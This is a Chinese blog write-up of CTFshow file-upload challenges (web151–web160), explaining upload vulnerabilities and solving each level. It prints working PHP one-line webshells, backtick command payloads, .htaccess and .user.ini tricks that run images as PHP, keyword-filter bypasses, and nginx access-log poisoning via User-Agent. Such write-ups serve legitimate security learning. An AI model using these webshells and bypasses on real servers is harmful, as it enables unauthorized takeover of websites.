CTFshow | 文件上传

一、文件上传漏洞的原理

文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务端命令的能力。

危害:可以成为后门文件webshell,直接获得网站权限。

一句话木马

<?php @eval($_POST['wuya']);?>

在php.net网站上查找相关的命令内容

eval()函数表示括号内的语句字符串什么的全都当做代码php执行。

$_POST['wuya']表示从页面中获得wuya这个参数值。

 

#如果system中有空格需要用双引号
wuya=system("tree c:\\");
#等价于
http://localhost/upload/uploads/shell.php?wuya=system(ipconfig)
#可以进行蚁剑连接,密码是wuya

 二、文件上传常见验证
1、后缀名:黑名单,白名单

 等价扩展名

2、文件类型:MIME


web151

说明可以修改前端代码

1、发现上传按钮只能上传png格式文件

2、更改前端代码,使其支持php格式,上传一句话木马


3、蚁剑连接,得到flag 

web152

 1、按照前一题的解法发现并不可行

2、利用burp进行查看,发现此时的content-type并不是图片格式,对此进行修改,image/png

 

3、改完后同上题

 web153

1、按照前两题的方法,直接上传php文件显示文件类型不合规;修改content-type上传不成功;上传php3后缀服务器不能解析

2、看一下upload文件下有index.php,说明可以通过.user.ini文件来上传。因为.user.ini只对他同一目录下的php文件起作用

【.htaccess和.user.ini配置文件妙用】

具体参考.htaccess 和.user.ini 配置文件妙用

.htaccess

#将jpg文件当做php文件解析
// .htaccess
AddType application/x-httpd-php .jpg

// 1.jpg
<?php phpinfo();?>

.user.ini

auto_prepend_file=<filename>         //包含在文件头
auto_append_file=<filename>          //包含在文件尾
#在当前目录下的.php文件包含1.jpg这个图片,
在此处相当于在11.php文件头插入了require('1.jpg')这条语句
// .user.ini
auto_prepend_file = 1.jpg

// 1.jpg
<?php phpinfo();?>

// 11.php

3、因为要上传文件,所以前端要改一下

 

 4、上传1.png的一句话木马

5、在burp中改两个地方,最后user.ini成功上传

6、蚁剑连接,找到flag

 

 web154

1、几经尝试,发现php不能通过,phP可以通过,说明过滤掉了php

2、用php短标签

<?=@eval($_POST['s']);?>

 

 web155

同上题方法

 web156

1、如果上传说类型不合规,可以在repeater中把文件中的内容进行删除,看那一块不合规

2、发现是方括号的原因,用花括号代替

其他同上题

 web157~web159

过滤了php,system,{},和分号,直接执行命令

<?=`tac ../fl*`?>  //等价于<?= system('cat ../fl*')?>

//(tac:cat反序,反引号英文大写``) 

 web160

 此题在上面的基础上过滤了反引号,还可以用日志包含。

/var/log/nginx/ 目录是 NGINX 的默认日志位置,可以从中找到一个 access.log 文件和 error.log 文件,include函数包含日志查看日志内容。考虑到过滤log,利用了php的字符串连接性

<?=include"/var/l"."og/nginx/access.lo"."g"?>

1、上传 

2、上传user.ini

 3、发现日志中的内容是user-agent的内容

 4、将一句话木马写到user-agent中

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值